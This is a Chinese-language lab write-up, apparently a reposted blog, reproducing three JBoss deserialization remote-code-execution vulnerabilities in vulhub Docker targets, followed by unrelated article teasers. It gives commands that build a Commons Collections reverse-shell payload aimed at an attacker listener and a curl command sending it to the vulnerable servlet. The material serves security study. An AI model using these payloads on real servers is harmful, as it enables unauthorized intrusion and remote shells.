Jboss多个远程命令执行漏洞(CVE-2017-12149、CVE-2015-7501、CVE-2017-7504)

目录

Jboss介绍

CVE-2017-12149

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell

CVE-2015-7501

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell

CVE-2017-7504

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell


这一篇是参考大佬的好文章进行Jboos的多个远程命令执行漏洞的学习和练习

Jboss介绍

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

CVE-2017-12149

漏洞产生的原因

该漏洞为 Java反序列化类型,位于 Jboss 的 HttpInvoker 组件中ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

CVE-2017-12149漏洞影响版本: 5.X 及 6.X

java的序列化与反序列化:

Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

环境搭建

这里还是使用vulhub靶场

移动到如下路径下

/opt/vulhub-master/jboss/CVE-2017-12149

使用docker-compose up -d来拉取环境

拉取完成后,我们就可以在浏览器中访问:

到此环境搭建就完成了

漏洞检测和利用

可以利用专门检测该漏洞的检测工具进行检查和利用

反弹shell

我们首先在攻击机中进行监听:

然后我们进行反弹shell:

首先需要再github上下载需要辅助的工具

joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.159.151:8888

把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

然后在攻击机上查看,可以看到已经成功的反弹shell了

CVE-2015-7501

漏洞产生的原因

MXInvokerServlet 反序列化漏洞(CVE-2015-7501),JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

跟之前的CVE-2017-12149漏洞相似,都是使用了java的反序列化,该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,从而导致了漏洞。

环境搭建

这里的环境还是使用vulhub靶场

移动到如下路径中

/opt/vulhub-master/jboss/JMXInvokerServlet-deserialization

然后使用docker-compose up -d来拉取漏洞环境

拉取完成后,我们可以在浏览器中访问

到此环境搭建就完成了

漏洞检测和利用

访问如下接口,发现可以下载,说明是存在漏洞的

反弹shell

下面我们就可以使用上面的方式来进行shell的反弹

编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.159.151:8888

把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

可以看到也是成功的反弹了shell

CVE-2017-7504

漏洞产生的原因

CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似,只是利用的路径稍微出现了变化,CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码

环境搭建

这里使用的还是vulhub靶场

移动到如下目录中

/opt/vulhub-master/jboss/CVE-2017-7504

使用docker-compose up -d命令来拉取环境

拉取完成后,可以在浏览器中访问一下

到此,环境就搭建完成了

漏洞检测和利用

访问如下路径:

出现了这样的页面,说明是存在漏洞的

反弹shell

还是同样的使用上面的那种方式来进行反弹shell操作

curl http://192.168.159。200:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

可以看到成功的反弹了shell,并且可以执行命令

参考文章:

干货|最全的Jboss漏洞复现笔记-腾讯云开发者社区-腾讯云

Jboss远程代码执行(CVE-2017-12149 ) - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/35243.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【AIGC】如何从0开始快速打造个人知识库

如何从0开始快速打造个人知识库 文章目录 如何从0开始快速打造个人知识库前言1、注册登录2、创建知识库2.1 创建2.2 文件上传 3、使用知识库 前言 最近我在使用一些AIGC的产品时发现一个问题,我没有办法让它能够结合我现有的数据内容回答我的问题,并且让…

django学习入门系列之第三点《案例 小米商城二级菜单》

文章目录 样例划分区域搭建骨架logo区域完整代码 小结往期回顾 样例 划分区域 搭建骨架 <!-- 二级菜单部分 --> <div class"sub-header"><div class"container"><div class"logo">1</div><div class"sea…

JFrame和JScrollPanel布局初步使用

还不是很了解&#xff0c;做了几个程序&#xff1b; import java.awt.Container; import java.awt.Color; import javax.swing.JFrame; import javax.swing.JScrollPane; import javax.swing.border.EmptyBorder;public class pa1 {public static void main(String[] agrs){JF…

24/06/25(4.1122)数据存储,自定义类型

重点:1.数据类型详细介绍 2.整型在内存中的存储:原码 反码 补码 3.大小端字节序介绍和判断 4.浮点型在内存中的存储解析 前面都有char short int...详细介绍,翻一翻.需要注意的是,C语言没有字符串类型哦. 计算机永远存储的都是补码,计算也是用补码进行的,只有在要输出的时候转…

Vite: 新一代高效的前端构建工具

概述 随着前端技术的飞速发展&#xff0c;构建工具在项目开发中扮演着至关重要的角色因为项目日益复杂&#xff0c;开发体验和构建效率成为了开发者关注的焦点在众多前端构建工具中&#xff0c;Vite凭借其独特的优势&#xff0c;逐渐成为开发者们的新宠Vite&#xff0c;作为一…

什么是 Java 中的 Optional 类,它如何帮助避免空指针异常?

想象一下&#xff0c;你正在厨房里烹饪一道美味的菜肴&#xff0c;需要从冰箱里取出牛奶来使用。但是&#xff0c;当你打开冰箱门时&#xff0c;发现牛奶已经喝完了&#xff0c;没有牛奶可用。这时&#xff0c;如果你直接假设牛奶一定在那里&#xff0c;并且不加检查就去倒牛奶…

github无法访问,下载慢的解决方法

GitHub是一个存储分享无数的开源项目和代码的宝库网站。然而&#xff0c;由于一些原因&#xff0c;国内用户在访问GitHub时常常遭遇无法访问或下载速度缓慢的问题。这不仅影响了开发者的工作效率&#xff0c;也使一些想要访问下载github文件的普通用户遇到困难。下面小编就来和…

如何简单的生成SSL证书

下面是简单的SSL证书生成的方法&#xff1a; 第1步&#xff1a;生成私钥 我们一般运用openSSL这个工具来生成一个RSA私钥 说明&#xff1a;生成rsa私钥&#xff0c;des3算法&#xff0c;2048位强度&#xff0c;server.key是秘钥文件名。 注意&#xff1a;一般生成私钥&…

Java stream操作流常用的方式

在Java中&#xff0c;Stream操作流是Java 8新引入的一个功能&#xff0c;它提供了很多强大的操作&#xff0c;方便我们进行集合的处理和操作。常用的Stream操作方式有&#xff1a; 1.过滤&#xff1a;使用filter()方法可以过滤掉集合中不符合条件的元素。 2.映射&#xff1a;…

python学习笔记四

1.自己平方本身 x2 x**4#xx**4 print(x) 2.把一个多位数拆分成单个数&#xff0c;方法一通过字符串下标获取对应元素&#xff0c;并对获取的元素使用eval函数把左右引号去掉&#xff0c;是字符串变为整型&#xff1b;方法二&#xff0c;通过对数进行取余和整除得到各个位的数 …

Django ORM 详解

Django ORM(Object-Relational Mapping,对象关系映射)是 Django 框架的一部分,它允许我们通过 Python 代码来操作数据库,而无需编写 SQL 语句。在这篇文章中,我们将详细介绍 Django ORM 的使用方法。 定义模型 在 Django 中,数据库的每个表都对应一个 Python 类,这个…

市面上很轻的 100kW 负载组

FX100S-C 负载组 EAK的 FX100S-C 负载组在轻质外壳中以 415Vac 50Hz 提供 100kW 的连续负载。数字仪表允许您测量功率、电压、电流和频率&#xff0c;同时还允许您在进行测试时记录数据。 EAK是市场上最轻的 100kW 负载组之一&#xff0c;它将使您能够访问其他负载组无法到达…

GPT版本通俗简单介绍

# GPT系列&#xff1a;人工智能语言模型的进化之旅 在人工智能的广阔天地里&#xff0c;自然语言处理技术一直是探索的前沿地带&#xff0c;而OpenAI推出的GPT&#xff08;Generative Pre-trained Transformer&#xff09;系列模型&#xff0c;无疑是这一领域内的一颗璀璨明星…

ISCC2024--pwn

ISCC2024 练武题 chaos 考点&#xff1a;基础UAF 分析 1.首先将附件放入IDA查看主函数功能&#xff0c;进入菜单函数&#xff1a; 注意到选项5不太一样&#xff0c;跟进该功能模块的函数查看&#xff1a; 分析得到该功能存在UAF漏洞&#xff0c;system(/bin/sh) 执行的前…

沙姆镜头标定与重建

沙姆定律&#xff08; Scheimpflug principle&#xff09;则可以保证测量平面的物体能够清晰成像&#xff0c; 因此能够起到调整景深区域位置的作用。Scheimpflug 镜头就是根据沙姆定律所设计的一种特殊的镜头&#xff0c;通过机械结构使镜头与相机本体发生一定程度的偏转&…

一文介绍 Tapable 的特性和使用,助力理解 webpack 插件架构!

一、引言 众所周知&#xff0c;webpack 的 plugins 非常灵活&#xff0c;可以在编译的不同阶段注册事件回调&#xff0c;这个功能便是基于 Tapable 实现的。 Tapable 的使用步骤如下&#xff1a; 创建钩子实例&#xff0c;如 SyncHook、SyncLoopHook 钩子;调用订阅接口注册事…

【树状数组 队列】1505. 最多 K 次交换相邻数位后得到的最小整数

本文涉及知识点 树状数组 队列 LeetCode1505. 最多 K 次交换相邻数位后得到的最小整数 给你一个字符串 num 和一个整数 k 。其中&#xff0c;num 表示一个很大的整数&#xff0c;字符串中的每个字符依次对应整数上的各个 数位 。 你可以交换这个整数相邻数位的数字 最多 k 次…

在线epub阅读器epub;在线图书阅读器;专门为epub定制的阅读器;免费在线电子图书epub阅读器

背景&#xff1a;不记得某时某刻了&#xff0c;就是当时想要使用电脑阅读epub图书&#xff0c;也找了好些个在线epub阅读器&#xff0c;但总有一些不如意的地方&#xff0c;如某些功能需要会员之类的&#xff0c;突发临想的就想到自己开发一个&#xff0c;就此&#xff0c;一个…

Python笔记 文件的写,追加,备份操作

一、文件的写操作 案例演示&#xff1a; # 1.打开文件 f open(python.txt,w)# 2.文件写入 f.write(hello world)# 3.内容刷新 f.flush() 注意&#xff1a; 直接调用write&#xff0c;内容并为真正的写入文件&#xff0c;二十会积攒在程序的内存中&#xff0c;称之为缓冲区…

Android SurfaceFlinger——OpenGL ES初始化(十三)

上一篇文章我们对 OpenGL ES 相关知识有了一定的了解,并知道在使用 OpenGL ES 是需要先通过 eglGetDisplay() 方法获取 EGLDisplay 默认主屏幕句柄。这里就分析一下 eglGetDisplay() 中的 egl_init_drivers() 初始化 OpenGL ES 的对应流程。 一、OpenGL ES初始化 1、egl.cpp…